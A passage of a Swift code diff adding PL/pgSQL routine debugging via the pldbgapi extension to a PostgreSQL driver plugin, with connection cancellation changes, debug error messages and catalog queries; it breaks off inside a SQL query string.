+++ b/apple/Plugins/PostgreSQLDriverPlugin/LibPQPluginConnection.swift
@@ -72,6 +72,7 @@ final class LibPQPluginConnection: @unchecked Sendable {
     private var _isConnectCancelled: Bool = false
     private var _lastTransactionState: LibPQTransactionState = .idle
     private var _hasLostConnection = false
+    private var _interruptsBlockedCallOnDisconnect = false
     private var serverMessages: Unmanaged<LibPQServerMessageSink>?
     private var _standardConformingStrings = true
     /// Queue-confined. Non-nil until every schema/flavor/catalog bootstrap probe has completed.
@@ -173,11 +174,8 @@ final class LibPQPluginConnection: @unchecked Sendable {
     }
 
     func cancelConnect() {
-        stateLock.lock()
-        _isConnectCancelled = true
-        let currentConnection = conn
-        stateLock.unlock()
-        if let currentConnection { requestServerCancel(on: currentConnection, evenWhenSuppressed: true) }
+        stateLock.withLock { _isConnectCancelled = true }
+        requestServerCancelOnCurrentConnection(evenWhenSuppressed: true)
     }
 
     private var isConnectCancelled: Bool {
@@ -537,6 +535,19 @@ final class LibPQPluginConnection: @unchecked Sendable {
         }
     }
 
+    // PQgetCancel copies what the request needs while the lock is held: disconnect() takes `conn` under that lock
+    // before the PQfinish it queues can free the connection.
+    private func requestServerCancelOnCurrentConnection(evenWhenSuppressed: Bool = false) {
+        let request: LibPQCancelRequest? = stateLock.withLock {
+            guard evenWhenSuppressed || !suppressServerSideCancel, let conn, let cancelObject = PQgetCancel(conn) else {
+                return nil
+            }
+            return LibPQCancelRequest(cancelObject)
+        }
+        guard let request else { return }
+        Self.cancellationQueue.async { request.perform() }
+    }
+
     private func requestServerCancel(on connection: OpaquePointer, evenWhenSuppressed: Bool = false) {
         guard evenWhenSuppressed || !suppressServerSideCancel,
               let cancelObject = PQgetCancel(connection) else { return }
@@ -584,11 +595,17 @@ final class LibPQPluginConnection: @unchecked Sendable {
         _isConnectCancelled = true
         let handle = conn
         let sink = serverMessages
+        let interruptsBlockedCall = _interruptsBlockedCallOnDisconnect
         conn = nil
         serverMessages = nil
         _cachedServerVersion = nil
         _cachedServerVersionNumber = 0
         stateLock.unlock()
+        // The descriptor stays this connection's until the PQfinish queued below runs.
+        if interruptsBlockedCall, let handle {
+            let socket = PQsocket(handle)
+            if socket >= 0 { _ = Darwin.shutdown(socket, SHUT_RDWR) }
+        }
         queue.async { [self] in
             activeConnectDeadline = nil
             if let handle {
@@ -612,13 +629,7 @@ final class LibPQPluginConnection: @unchecked Sendable {
 
     func cancelCurrentQuery() {
         guard cancellationGate.cancel() != nil else { return }
-
-        stateLock.lock()
-        let currentConn = conn
-        stateLock.unlock()
-
-        guard let currentConn else { return }
-        requestServerCancel(on: currentConn)
+        requestServerCancelOnCurrentConnection()
     }
 
     // MARK: - Query Execution
@@ -1447,3 +1458,22 @@ final class LibPQPluginConnection: @unchecked Sendable {
         return LibPQPluginError(message: message, sqlState: nil, detail: nil)
     }
 }
+
+extension LibPQPluginConnection {
+    func observeServerNotices(_ observer: (@Sendable (LibPQServerNotice) -> Void)?) {
+        let sink = stateLock.withLock { serverMessages?.takeUnretainedValue() }
+        sink?.observeNotices(observer)
+    }
+
+    // A debug session runs with no statement timeout, so a call blocked on a server that stopped answering would
+    // otherwise keep the socket, and the PQfinish queued behind it, for as long as TCP keeps the connection open.
+    func interruptBlockedCallOnDisconnect() {
+        stateLock.withLock { _interruptsBlockedCallOnDisconnect = true }
+    }
+
+    // Leaves the cancellation gate alone, so the server's reply decides how the call ended: a cancel that lands
+    // after a routine returned must not turn its committed result into a cancellation.
+    func requestServerCancelKeepingReply() {
+        requestServerCancelOnCurrentConnection()
+    }
+}
diff --git a/apple/Plugins/PostgreSQLDriverPlugin/LibPQServerMessageSink.swift b/apple/Plugins/PostgreSQLDriverPlugin/LibPQServerMessageSink.swift
index 4f93b98886..be78bb57fa 100644
--- a/apple/Plugins/PostgreSQLDriverPlugin/LibPQServerMessageSink.swift
+++ b/apple/Plugins/PostgreSQLDriverPlugin/LibPQServerMessageSink.swift
@@ -6,12 +6,19 @@
 import CLibPQ
 import Foundation
 
+struct LibPQServerNotice: Sendable {
+    let message: String
+    let text: String
+}
+
 final class LibPQServerMessageSink: @unchecked Sendable {
     private static let severityField = Int32(UInt8(ascii: "V"))
+    private static let primaryMessageField = Int32(UInt8(ascii: "M"))
 
     private let lock = NSLock()
     private var sessionEnding: LibPQPluginError?
     private var forwardedReceiver: PQnoticeReceiver?
+    private var noticeObserver: (@Sendable (LibPQServerNotice) -> Void)?
 
     static func install(on connection: OpaquePointer) -> Unmanaged<LibPQServerMessageSink> {
         let retained = Unmanaged.passRetained(LibPQServerMessageSink())
@@ -34,6 +41,12 @@ final class LibPQServerMessageSink: @unchecked Sendable {
         lock.withLock { sessionEnding = nil }
     }
 
+    // The observer runs on the connection's queue while a statement reads its reply, so it must not call back
+    // into the connection.
+    func observeNotices(_ observer: (@Sendable (LibPQServerNotice) -> Void)?) {
+        lock.withLock { noticeObserver = observer }
+    }
+
     fileprivate func receive(_ result: OpaquePointer) {
         let message = PQresultErrorMessage(result).map {
             String(cString: $0).trimmingCharacters(in: .whitespacesAndNewlines)
@@ -42,11 +55,15 @@ final class LibPQServerMessageSink: @unchecked Sendable {
             PQresultErrorField(result, field).map { String(cString: $0) }
         }
         let severity = PQresultErrorField(result, Self.severityField).map { String(cString: $0) }
-        let forward = lock.withLock { () -> PQnoticeReceiver? in
+        let (forward, observer) = lock.withLock { () -> (PQnoticeReceiver?, (@Sendable (LibPQServerNotice) -> Void)?) in
             if LibPQServerMessage.endsSession(severity: severity, sqlState: received.sqlState) {
                 sessionEnding = received
             }
-            return forwardedReceiver
+            return (forwardedReceiver, noticeObserver)
+        }
+        if let observer {
+            let primary = PQresultErrorField(result, Self.primaryMessageField).map { String(cString: $0) }
+            observer(LibPQServerNotice(message: primary ?? message, text: message))
         }
         forward?(nil, result)
     }
diff --git a/apple/Plugins/PostgreSQLDriverPlugin/PGlitePluginDriver.swift b/apple/Plugins/PostgreSQLDriverPlugin/PGlitePluginDriver.swift
index 86d8ce8ccc..9c29dd68d6 100644
--- a/apple/Plugins/PostgreSQLDriverPlugin/PGlitePluginDriver.swift
+++ b/apple/Plugins/PostgreSQLDriverPlugin/PGlitePluginDriver.swift
@@ -26,6 +26,9 @@ final class PGlitePluginDriver: PostgreSQLPluginDriver {
         super.capabilities.subtracting(.cancelQuery)
     }
 
+    // pldebugger is a server C extension and needs a second session; PGlite has neither.
+    override var canDebugRoutines: Bool { false }
+
     override func connect() async throws {
         do {
             try await super.connect()
diff --git a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLDebugRendezvous.swift b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLDebugRendezvous.swift
new file mode 100644
index 0000000000..8e9ffacc45
--- /dev/null
+++ b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLDebugRendezvous.swift
@@ -0,0 +1,134 @@
+//
+//  PostgreSQLDebugRendezvous.swift
+//  PostgreSQLDriverPlugin
+//
+
+import Foundation
+import os
+
+// Where the target's notice receiver hands over the port it waits on, and where a stop learns the target's
+// call is over. `abandon()` releases the waiters when the target could not be ended in time.
+final class PostgreSQLDebugRendezvous: @unchecked Sendable {
+    private let lock = NSLock()
+    private var deliveredPort: Int?
+    private var isSettled = false
+    private var abandoned = false
+    private var portWaiters: [CheckedContinuation<Int?, Never>] = []
+    private var settleWaiters: [Int: CheckedContinuation<Void, Never>] = [:]
+    private var withdrawnWaiters: Set<Int> = []
+    private var lastWaiter = 0
+
+    var hasPort: Bool {
+        lock.withLock { deliveredPort != nil }
+    }
+
+    var hasSettled: Bool {
+        lock.withLock { isSettled }
+    }
+
+    // True when the waiters were released without the target's call ending: it may still hold its locks.
+    var isAbandoned: Bool {
+        lock.withLock { abandoned }
+    }
+
+    var waiterCount: Int {
+        lock.withLock { portWaiters.count + settleWaiters.count }
+    }
+
+    func abandon() {
+        release(abandoning: true)
+    }
+
+    func deliver(port: Int) {
+        let waiters = lock.withLock { () -> [CheckedContinuation<Int?, Never>] in
+            deliveredPort = port
+            defer { portWaiters.removeAll() }
+            return portWaiters
+        }
+        waiters.forEach { $0.resume(returning: port) }
+    }
+
+    func settle() {
+        release(abandoning: false)
+    }
+
+    private func release(abandoning: Bool) {
+        let released = lock.withLock {
+            () -> (Int?, [CheckedContinuation<Int?, Never>], [CheckedContinuation<Void, Never>])? in
+            guard !isSettled else { return nil }
+            isSettled = true
+            abandoned = abandoning
+            defer {
+                portWaiters.removeAll()
+                settleWaiters.removeAll()
+                withdrawnWaiters.removeAll()
+            }
+            return (deliveredPort, portWaiters, Array(settleWaiters.values))
+        }
+        guard let released else { return }
+        released.1.forEach { $0.resume(returning: released.0) }
+        released.2.forEach { $0.resume() }
+    }
+
+    // The port once the target reaches the routine, or nil when its call ended first.
+    func port() async -> Int? {
+        await withCheckedContinuation { continuation in
+            let ready: Int?? = lock.withLock {
+                if let deliveredPort { return .some(deliveredPort) }
+                if isSettled { return .some(nil) }
+                portWaiters.append(continuation)
+                return .none
+            }
+            if let ready { continuation.resume(returning: ready) }
+        }
+    }
+
+    // Returns when this settles, or at once when the waiting task is cancelled, which withdraws the waiter.
+    func settled() async {
+        let waiter = lock.withLock { () -> Int in
+            lastWaiter += 1
+            return lastWaiter
+        }
+        await withTaskCancellationHandler {
+            await withCheckedContinuation { (continuation: CheckedContinuation<Void, Never>) in
+                let ready = lock.withLock { () -> Bool in
+                    if isSettled || withdrawnWaiters.remove(waiter) != nil { return true }
+                    settleWaiters[waiter] = continuation
+                    return false
+                }
+                if ready { continuation.resume() }
+            }
+        } onCancel: {
+            let withdrawn = lock.withLock { () -> CheckedContinuation<Void, Never>? in
+                if let continuation = settleWaiters.removeValue(forKey: waiter) { return continuation }
+                if !isSettled { withdrawnWaiters.insert(waiter) }
+                return nil
+            }
+            withdrawn?.resume()
+        }
+    }
+
+    // The step's result, or nil when this settles first. The losing wait on this is withdrawn before the answer is
+    // given, so nothing waits on it past the call; only a step still running on its connection outlives a nil answer.
+    func reply<T: Sendable>(to step: Task<T, Error>) async -> Result<T, Error>? {
+        let claimed = OSAllocatedUnfairLock(initialState: false)
+        let claim = { @Sendable () -> Bool in
+            claimed.withLock { done -> Bool in
+                defer { done = true }
+                return !done
+            }
+        }
+        return await withCheckedContinuation { (continuation: CheckedContinuation<Result<T, Error>?, Never>) in
+            let signal = Task {
+                await self.settled()
+                if claim() { continuation.resume(returning: nil) }
+            }
+            Task {
+                let result = await step.result
+                guard claim() else { return }
+                signal.cancel()
+                continuation.resume(returning: result)
+            }
+        }
+    }
+}
diff --git a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver+RoutineDebugging.swift b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver+RoutineDebugging.swift
new file mode 100644
index 0000000000..f304638350
--- /dev/null
+++ b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver+RoutineDebugging.swift
@@ -0,0 +1,122 @@
+//
+//  PostgreSQLPluginDriver+RoutineDebugging.swift
+//  PostgreSQLDriverPlugin
+//
+
+import Foundation
+import TableProPluginKit
+import TableProPostgreSQLCore
+
+// pldbgapi direct debugging. Redshift and CockroachDB are siblings of this class, not subclasses, so they never
+// conform; PGlite inherits the conformance and turns it off through `canDebugRoutines`.
+extension PostgreSQLPluginDriver: PluginRoutineDebugging {
+    func debugTarget(for routine: PluginRoutineInfo) -> PluginDebugTarget? {
+        guard canDebugRoutines else { return nil }
+        return PostgreSQLRoutineDebugProtocol.target(for: routine)
+    }
+
+    func debugTargets(schema: String?) async throws -> [PluginDebugTarget] {
+        guard canDebugRoutines else { return [] }
+        let query = PostgreSQLRoutineDebugProtocol.targetListQuery(
+            schema: schema ?? currentSchema ?? "public",
+            hasProcedureKind: catalogCapabilities.hasProcedureKind
+        )
+        let result = try await execute(query: query)
+        return result.rows.compactMap { PostgreSQLRoutineDebugProtocol.target(fromListRow: $0.map(\.asText)) }
+    }
+
+    func prepareDebug(_ target: PluginDebugTarget) async throws -> PluginDebugPlan {
+        guard canDebugRoutines else { throw PostgreSQLRoutineDebugError.unavailable }
+        let routine = try await debugRoutine(identity: target.identity, name: target.name)
+        _ = try routine.debuggerSchema()
+        return PluginDebugPlan(
+            target: target,
+            entryPoints: [routine.entryPoint],
+            // Any routine can write: a STABLE label does not stop a default such as nextval() or a volatile callee.
+            mayWrite: true,
+            note: routine.runNote
+        )
+    }
+
+    func startDebug(
+        _ request: PluginDebugRequest,
+        sessions: any PluginDebugSessionSource
+    ) async throws -> any PluginDebugSession {
+        guard canDebugRoutines else { throw PostgreSQLRoutineDebugError.unavailable }
+        let target = try await Self.debugSession(from: sessions)
+        let proxy = try await Self.debugSession(from: sessions)
+        try await proxy.prepareForDebugging(isTarget: false)
+
+        let routine = try await proxy.debugRoutine(
+            identity: request.entryPoint.identity,
+            name: request.entryPoint.displayName
+        )
+        let extensionSchema = try routine.debuggerSchema()
+        try await target.prepareForDebugging(isTarget: true)
+        let targetProcess = try? await target.execute(query: "SELECT pg_catalog.pg_backend_pid()")
+            .rows.first?.first?.asText.flatMap { Int($0) }
+        let call = try PostgreSQLRoutineDebugProtocol.call(for: routine, arguments: request.arguments)
+        guard let oid = UInt32(routine.identity) else {
+            throw PostgreSQLRoutineDebugError.routineNotFound(routine.displayName)
+        }
+        do {
+            _ = try await target.execute(
+                query: PostgreSQLRoutineDebugProtocol.oidDebugStatement(extensionSchema: extensionSchema, oid: oid)
+            )
+        } catch {
+            throw PostgreSQLRoutineDebugProtocol.startFailure(
+                error,
+                database: routine.database,
+                routineName: routine.displayName
+            )
+        }
+
+        // Nothing runs on the target yet, so a cancelled start leaves nothing behind.
+        try Task.checkCancellation()
+        let session = PostgreSQLRoutineDebugSession(
+            target: target,
+            proxy: proxy,
+            sessions: sessions,
+            routine: routine,
+            extensionSchema: extensionSchema,
+            targetProcess: targetProcess,
+            breakpoints: request.breakpoints
+        )
+        try await session.start(call)
+        return session
+    }
+
+    static func debugSession(from sessions: any PluginDebugSessionSource) async throws -> PostgreSQLPluginDriver {
+        guard let driver = try await sessions.openSession() as? PostgreSQLPluginDriver, driver.canDebugRoutines else {
+            throw PostgreSQLRoutineDebugError.unavailable
+        }
+        driver.core.interruptBlockedCallOnDisconnect()
+        return driver
+    }
+
+    private func prepareForDebugging(isTarget: Bool) async throws {
+        // Before the settings, which a rollback would undo.
+        if PostgreSQLRoutineDebugProtocol.endsStartupTransaction(await sessionTransactionState()) {
+            _ = try await execute(query: "ROLLBACK")
+        }
+        let statements = PostgreSQLRoutineDebugProtocol.sessionSettings(
+            serverVersion: serverVersionNumber,
+            isTarget: isTarget
+        )
+        for statement in statements {
+            _ = try await execute(query: statement)
+        }
+    }
+
+    private func debugRoutine(identity: String, name: String) async throws -> PostgreSQLDebugRoutine {
+        guard let oid = PostgreSQLRoutineDebugProtocol.oid(inIdentity: identity) else {
+            throw PostgreSQLRoutineDebugError.routineNotFound(name)
+        }
+        let query = PostgreSQLRoutineDebugProtocol.routineQuery(oid: oid, capabilities: catalogCapabilities)
+        let result = try await execute(query: query)
+        guard let row = result.rows.first else { throw PostgreSQLRoutineDebugError.routineNotFound(name) }
+        let routine = PostgreSQLDebugRoutine(row: row.map(\.asText), identity: String(oid))
+        guard routine.exists else { throw PostgreSQLRoutineDebugError.routineNotFound(name) }
+        return routine
+    }
+}
diff --git a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver.swift b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver.swift
index e7b0c72983..9c04366997 100644
--- a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver.swift
+++ b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver.swift
@@ -54,6 +54,9 @@ class PostgreSQLPluginDriver: LibPQBackedDriver, @unchecked Sendable {
         ]
     }
 
+    // In the class body so PGlite, which inherits the debugger conformance, can turn it off.
+    var canDebugRoutines: Bool { true }
+
     init(config: DriverConnectionConfig, singleConnectionMode: Bool = false) {
         self.core = LibPQDriverCore(config: config, singleConnectionMode: singleConnectionMode)
     }
diff --git a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLRoutineDebugError.swift b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLRoutineDebugError.swift
new file mode 100644
index 0000000000..80acaaaad6
--- /dev/null
+++ b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLRoutineDebugError.swift
@@ -0,0 +1,98 @@
+//
+//  PostgreSQLRoutineDebugError.swift
+//  PostgreSQLDriverPlugin
+//
+
+import Foundation
+import TableProPluginKit
+
+enum PostgreSQLRoutineDebugError: PluginDriverError, Equatable {
+    case extensionMissing(database: String)
+    case serverPackageMissing
+    case notOwner(routine: String)
+    case sharedMemoryUnavailable
+    case routineNotFound(String)
+    case notDebuggable
+    case pseudoTypeParameter
+    case hidesDebuggerNotice(value: String)
+    case limitsTransactionTime(value: String)
+    case targetAbandoned(process: Int?, port: Int?)
+    case unavailable
+    case notPaused
+    case unsupportedCommand
+    case noDefault(parameter: String)
+    case defaultNotReadable(parameter: String)
+
+    var pluginErrorMessage: String {
+        switch self {
+        case .extensionMissing(let database):
+            return String(format: String(localized: "The PL/pgSQL debugger isn't installed in “%@”."), database)
+        case .serverPackageMissing:
+            return String(localized: "This server has no PL/pgSQL debugger.")
+        case .notOwner(let routine):
+            return String(format: String(localized: "Only the owner of %@ or a superuser can debug it."), routine)
+        case .sharedMemoryUnavailable:
+            return String(localized: "The server couldn't start the debugger.")
+        case .routineNotFound(let routine):
+            return String(format: String(localized: "%@ no longer exists"), routine)
+        case .notDebuggable:
+            return String(localized: "Only PL/pgSQL functions and procedures can be debugged.")
+        case .pseudoTypeParameter:
+            return String(localized: "Routines with polymorphic or record parameters can't be debugged.")
+        case .hidesDebuggerNotice(let value):
+            return String(
+                format: String(
+                    localized: "This routine sets client_min_messages to %@, which hides the notice the debugger starts with."
+                ),
+                value
+            )
+        case .limitsTransactionTime(let value):
+            return String(
+                format: String(
+                    localized: "This routine sets transaction_timeout to %@, which would end it while it waits at a breakpoint."
+                ),
+                value
+            )
+        case .targetAbandoned:
+            return PostgreSQLRoutineDebugProtocol.abandonedMessage
+        case .unavailable:
+            return String(localized: "This connection can't run the PL/pgSQL debugger.")
+        case .notPaused:
+            return String(localized: "The routine isn't paused.")
+        case .unsupportedCommand:
+            return String(localized: "The PL/pgSQL debugger can't step out of a routine.")
+        case .noDefault(let parameter):
+            return String(format: String(localized: "%@ has no default value."), parameter)
+        case .defaultNotReadable(let parameter):
+            return String(
+                format: String(localized: "This server can't show the default value of %@, so enter a value for it."),
+                parameter
+            )
+        }
+    }
+
+    var pluginErrorDetail: String? {
+        switch self {
+        case .extensionMissing:
+            return String(localized: "Ask a superuser to run CREATE EXTENSION pldbgapi in this database.")
+        case .serverPackageMissing:
+            return String(
+                localized: """
+                    Install the pldebugger package for this PostgreSQL version on the server, then run \
+                    CREATE EXTENSION pldbgapi in this database.
+                    """
+            )
+        case .sharedMemoryUnavailable:
+            return String(localized: "Add plugin_debugger to shared_preload_libraries and restart the server.")
+        case .hidesDebuggerNotice:
+            return String(localized: "Remove SET client_min_messages from the routine to debug it.")
+        case .limitsTransactionTime:
+            return String(localized: "Remove SET transaction_timeout from the routine to debug it.")
+        case .targetAbandoned(let process, let port):
+            return PostgreSQLRoutineDebugProtocol.abandonedDetail(process: process, port: port)
+        case .notOwner, .routineNotFound, .notDebuggable, .pseudoTypeParameter, .unavailable, .notPaused,
+             .unsupportedCommand, .noDefault, .defaultNotReadable:
+            return nil
+        }
+    }
+}
diff --git a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLRoutineDebugProtocol.swift b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLRoutineDebugProtocol.swift
new file mode 100644
index 0000000000..8cbc8e5b34
--- /dev/null
+++ b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLRoutineDebugProtocol.swift
@@ -0,0 +1,752 @@
+//
+//  PostgreSQLRoutineDebugProtocol.swift
+//  PostgreSQLDriverPlugin
+//
+
+import Foundation
+import TableProPluginKit
+import TableProPostgreSQLCore
+
+struct PostgreSQLDebugCall: Equatable, Sendable {
+    let sql: String
+    let parameters: [PluginCellValue]
+}
+
+enum PostgreSQLDebugProxyFailure: Equatable {
+    case targetEnded
+    // A signal reached the proxy while it waited: the target is still attached to it and its reply is unread.
+    case interrupted
+    case broken
+}
+
+// How to end a target whose start was cancelled.
+enum PostgreSQLDebugStartCancellation: Equatable {
+    // The call has not reached the routine: a cancel on the target ends it.
+    case cancelCall
+    // The target waits in accept() and ignores a cancel: only an attach and pldbg_abort_target end it.
+    case attachAndAbort
+    case nothing
+}
+
+// What start does once the call reached the routine or ended.
+enum PostgreSQLDebugStartStep: Equatable {
+    case attach(port: Int)
+    case attachAndAbort(port: Int)
+    case cancelled
+    case endedBeforeEntry
+}
+
+struct PostgreSQLDebugRoutine: Equatable, Sendable {
+    let identity: String
+    let database: String
+    let extensionSchema: String?
+    let extensionAvailable: Bool
+    let exists: Bool
+    let mayDebug: Bool
+    let kind: String?
+    let volatility: String?
+    let language: String?
+    let schema: String
+    let name: String
+    let identityArguments: String
+    let returnsRecordType: Bool
+    let returnsTrigger: Bool
+    let parameters: [PluginDebugParameter]
+    let takesPseudoType: Bool
+    let configuration: [String]
+    // Each argument's type as its quoted, schema-qualified pg_type name ("pg_catalog"."bit"), parallel to
+    // `parameters`. It names exactly the declared type and no length: format_type's character and bit mean
+    // character(1) and bit(1) and cut the value, and bpchar or varbit pick an f(bit varying) overload over the
+    // f(bit) being debugged (both measured).
+    let argumentCastTypes: [String]
+    // Each argument's default expression from pg_get_function_arg_default, nil where it has none.
+    let defaultExpressions: [String?]
+
+    // The columns of `PostgreSQLRoutineDebugProtocol.routineQuery`, in order.
+    init(row: [String?], identity: String) {
+        func text(_ index: Int) -> String? { row.indices.contains(index) ? row[index] : nil }
+        func flag(_ index: Int) -> Bool { PostgreSQLCatalogBoolean.isTrue(text(index)) }
+        self.identity = identity
+        database = text(0) ?? ""
+        extensionSchema = text(1)
+        extensionAvailable = flag(2)
+        exists = flag(3)
+        mayDebug = flag(4)
+        kind = text(5)
+        volatility = text(6)
+        language = text(7)
+        schema = text(8) ?? ""
+        name = text(9) ?? ""
+        identityArguments = text(10) ?? ""
+        returnsRecordType = flag(11)
+        returnsTrigger = flag(12)
+        parameters = PostgreSQLRoutineDebugProtocol.parameters(
+            types: PostgreSQLTextArray.values(text(13)),
+            names: PostgreSQLTextArray.elements(text(14)),
+            modes: PostgreSQLTextArray.values(text(15)),
+            defaultCount: text(16).flatMap { Int($0) } ?? 0
+        )
+        takesPseudoType = flag(17)
+        configuration = PostgreSQLTextArray.values(text(18))
+        argumentCastTypes = PostgreSQLTextArray.values(text(19))
+        defaultExpressions = PostgreSQLTextArray.elements(text(20))
+    }
+
+    var isProcedure: Bool { kind == "p" }
+
+    var displayName: String { "\(name)(\(identityArguments))" }
+
+    var returnsBareRecord: Bool {
+        returnsRecordType && !parameters.contains { $0.mode == .output || $0.mode == .inputOutput }
+    }
+
+    var entryPoint: PluginDebugEntryPoint {
+        PluginDebugEntryPoint(identity: identity, displayName: displayName, parameters: parameters)
+    }
+
+    var runNote: String {
+        isProcedure
+            ? String(
+                localized: """
+                    Changes the procedure makes are committed when it commits or finishes. Stop rolls back what it \
+                    hasn't committed.
+                    """
+            )
+            : String(localized: "Changes the routine makes are committed when it finishes. Stop rolls them back.")
+    }
+
+    // Never gates on shared_preload_libraries: a non-superuser cannot read it, and direct debugging works without it.
+    func debuggerSchema() throws -> String {
+        guard language == "plpgsql", kind == "f" || kind == "p", !returnsTrigger else {
+            throw PostgreSQLRoutineDebugError.notDebuggable
+        }
+        guard !takesPseudoType else { throw PostgreSQLRoutineDebugError.pseudoTypeParameter }
+        if let blocking = PostgreSQLRoutineDebugProtocol.blockingSetting(in: configuration) { throw blocking }
+        guard let extensionSchema, !extensionSchema.isEmpty else {
+            throw extensionAvailable
+                ? PostgreSQLRoutineDebugError.extensionMissing(database: database)
+                : PostgreSQLRoutineDebugError.serverPackageMissing
+        }
+        guard mayDebug else { throw PostgreSQLRoutineDebugError.notOwner(routine: displayName) }
+        return extensionSchema
+    }
+}
+
+enum PostgreSQLRoutineDebugProtocol {
+    static let supportedCommands: Set<PluginDebugCommand> = [.continueExecution, .stepOver, .stepInto]
+
+    private static let breakNoticePrefix = "PLDBGBREAK:"
+    private static let targetEndedState = "08006"
+    private static let queryCanceledState = "57014"
+    private static let triggerReturnTypes: Set<String> = ["trigger", "event_trigger"]
+    // A bound text argument stays unknown for a polymorphic parameter, and text cannot become a bare record, so a
+    // routine taking one of these cannot be called by the debugger.
+    private static let pseudoArgumentTypes: Set<String> = [
+        "\"any\"", "anyelement", "anyarray", "anynonarray", "anyenum", "anyrange", "anymultirange",
+        "anycompatible", "anycompatiblearray", "anycompatiblenonarray", "anycompatiblerange",
+        "anycompatiblemultirange", "record", "record[]"
+    ]
+
+    static var stoppedMessage: String {
+        String(localized: "The routine was stopped, and its uncommitted changes were rolled back.")
+    }
+
+    // A cancel reaching the proxy does this, and so does a server transaction_timeout on PostgreSQL 17 once a wait
+    // outlasts it, even with the session's own set to 0 (measured on 17.11).
+    static var interruptedMessage: String {
+        String(
+            localized: """
+                The debugger's session was interrupted while it waited, so the routine was stopped and its uncommitted \
+                changes were rolled back. A cancel or the server's transaction_timeout can cause this.
+                """
+        )
+    }
+
+    static func abandonedStop(process: Int?, port: Int?) -> PluginDebugStop {
+        .failed(message: abandonedMessage, detail: abandonedDetail(process: process, port: port))
+    }
+
+    // Ended only when the target's call is known to have returned: then its transaction is over and its locks gone.
+    static func stopOutcome(callEnded: Bool, abandoned: Bool, process: Int?, port: Int?) -> PluginDebugStopOutcome {
+        guard callEnded, !abandoned else {
+            return .unconfirmed(message: abandonedMessage, detail: abandonedDetail(process: process, port: port))
+        }
+        return .ended
+    }
+
+    static var abandonedMessage: String {
+        String(localized: "The routine couldn't be stopped on the server.")
+    }
+
+    // Names the backend so someone with access can end it: a target waiting for a debugger ignores cancel and
+    // terminate, and only an attach followed by pldbg_abort_target ends it.
+    static func abandonedDetail(process: Int?, port: Int?) -> String {
+        switch (process, port) {
+        case let (process?, port?):
+            return String(
+                format: String(
+                    localized: """
+                        Server process %d may still be waiting for a debugger and holding its locks. To end it, run \
+                        SELECT pldbg_attach_to_port(%d) and pass the number it returns to pldbg_abort_target.
+                        """
+                ),
+                process,
+                port
+            )
+        case let (process?, nil):
+            return String(format: String(localized: "Server process %d may still be running and holding its locks."), process)
+        case (nil, _):
+            return String(localized: "Its server session may still be running and holding its locks.")
+        }
+    }
+
+    // MARK: - Session setup
+
+    static func sessionSettings(serverVersion: Int32, isTarget: Bool) -> [String] {
+        // Each would end a target paused at a breakpoint, or the proxy while it waits for one. A paused target is
+        // active and the proxy idle outside a transaction, so idle_in_transaction_session_timeout never applies.
+        var statements = ["SET statement_timeout = 0"]
+        if serverVersion >= 140_000 {
+            statements.append("SET idle_session_timeout = 0")
+        }
+        if serverVersion >= 170_000 {
+            statements.append("SET transaction_timeout = 0")
+        }
+        // The target announces the port it waits on as a NOTICE, which a stricter level never sends.
+        if isTarget {
+            statements.append("SET client_min_messages = notice")
+        }
+        return statements
+    }
+
+    // Startup commands can leave a transaction open; the routine's changes must neither join it nor be committed
+    // by it, so it is rolled back before the call.
+    static func endsStartupTransaction(_ state: PluginSessionTransactionState) -> Bool {
+        state != .idle
+    }
+
+    // Every identity, the entry point's and each unit's, is the routine's oid.
+    static func oid(inIdentity identity: String) -> UInt32? {
+        UInt32(identity)
+    }
+
+    // MARK: - Catalog
+
+    static func routineQuery(oid: UInt32, capabilities: PostgreSQLCapabilities) -> String {
+        let kindColumn = capabilities.hasProcedureKind
+            ? "p.prokind"
+            : "CASE WHEN p.proisagg THEN 'a' WHEN p.proiswindow THEN 'w' ELSE 'f' END"
+        let argumentTypes = "COALESCE(p.proallargtypes, p.proargtypes::pg_catalog.oid[])"
+        // pg_get_function_arg_default (9.4) counts arguments from 1; proargtypes as an array starts at 0.
+        let defaultsColumn = capabilities.serverVersion >= 90_400
+            ? """
+                ARRAY(
+                    SELECT pg_catalog.pg_get_function_arg_default(
+                        p.oid,
+                        (s.i - pg_catalog.array_lower(\(argumentTypes), 1) + 1)::pg_catalog.int4
+                    )
+                    FROM pg_catalog.generate_subscripts(\(argumentTypes), 1) AS s(i)
+                    ORDER BY s.i
+                )
+                """
+            : "NULL::pg_catalog.text[]"
+        return """
+            SELECT
+                pg_catalog.current_database(),
+                (SELECT en.nspname FROM pg_catalog.pg_extension e
+                    JOIN pg_catalog.pg_namespace en ON en.oid = e.extnamespace
+                    WHERE e.extname = 'pldbgapi'),
+                EXISTS (SELECT 1 FROM pg_catalog.pg_available_extensions a WHERE a.name = 'pldbgapi'),
+                p.oid IS NOT NULL,
+                COALESCE(p.proowner = r.oid OR r.rolsuper, false),
+                \(kindColumn),
+                p.provolatile,
+                l.lanname,
+                n.nspname,
+                p.proname,
+                pg_catalog.pg_get_function_identity_arguments(p.oid),
+                p.prorettype = 'pg_catalog.record'::pg_catalog.regtype,
+                \(returnsTriggerTest),
+                ARRAY(
+                    SELECT pg_catalog.format_type((\(argumentTypes))[s.i], NULL)
+                    FROM pg_catalog.generate_subscripts(\(argumentTypes), 1) AS s(i)
+                    ORDER BY s.i
+                ),
+                p.proargnames,
+                p.proargmodes::pg_catalog.text[],
+                p.pronargdefaults,
+                \(pseudoTypeArgumentTest),
+                p.proconfig,
+                ARRAY(
+                    SELECT '"' || pg_catalog.replace(tn.nspname, '"', '""') || '"."'
